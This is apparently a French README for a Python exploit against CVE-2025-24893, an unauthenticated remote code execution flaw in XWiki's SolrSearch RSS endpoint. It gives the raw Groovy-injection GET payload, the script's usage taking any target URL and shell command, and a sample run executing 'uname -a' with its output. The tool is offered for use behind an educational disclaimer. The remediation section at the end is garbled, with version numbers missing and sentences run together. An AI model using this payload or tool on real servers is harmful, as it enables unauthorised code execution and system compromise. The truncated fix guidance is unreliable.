
Exploit Python pour CVE-2025-24893, une RCE critique non authentifiée dans XWiki Platform, permettant l'exécution arbitraire de code Groovy via une requête RSS malveillante vers le point de terminaison SolrSearch.
CVE-2025-24893 est une vulnérabilité critique d'exécution de code à distance (RCE) sans authentification affectant la plateforme XWiki.
Cette faille permet à tout utilisateur invité d'injecter et d'exécuter du code Groovy arbitraire — sans authentification — via une requête RSS spécialement conçue vers l'endpoint SolrSearch.
Cela impacte directement la confidentialité, l'intégrité et la disponibilité du système affecté.
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H⚠️ Avertissement :
Ce code est strictement destiné à des fins éducatives et de recherche uniquement. Toute utilisation non autorisée sur des systèmes sans autorisation explicite peut constituer une violation de la loi. L'auteur décline toute responsabilité en cas d'utilisation abusive ou d'activité malveillante impliquant cet outil.
GET /xwiki/bin/get/Main/SolrSearch?media=rss&text=}}}{{async async=false}}{{groovy}}println("Hello from search text:42"){{/groovy}}{{/async}}
Cette section explique comment installer et exécuter le script d'exploitation Python afin de tirer parti de la vulnérabilité CVE-2025-24893.
❯ python3 CVE-2025-24893.py
usage: CVE-2025-24893.py [-h] -u URL -c COMMAND
CVE-2025-24893.py: error: the following arguments are required: -u/--url, -c/--command
❯ python3 CVE-2025-24893.py -u http://10.10.10.10:8080 -c 'uname -a'
[*] Sending payload to: http://10.10.10.10:8080/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln("uname -a".execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d
[+] Command output 'uname -a':
Linux 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux
Pour corriger la vulnérabilité, mettez à jour XWiki vers l'une des versions suivantes :
Si une mise à jour n'est pas immédiatement possible, vous pouvez appliquer un correctif temporaire :
SolrSearchMacros.xml (situé dans Main.SolrSearchMacros) autour de la ligne 955.rawResponse avec le type de contenu défini sur application/xml.macros.vm à la ligne 2824.Références :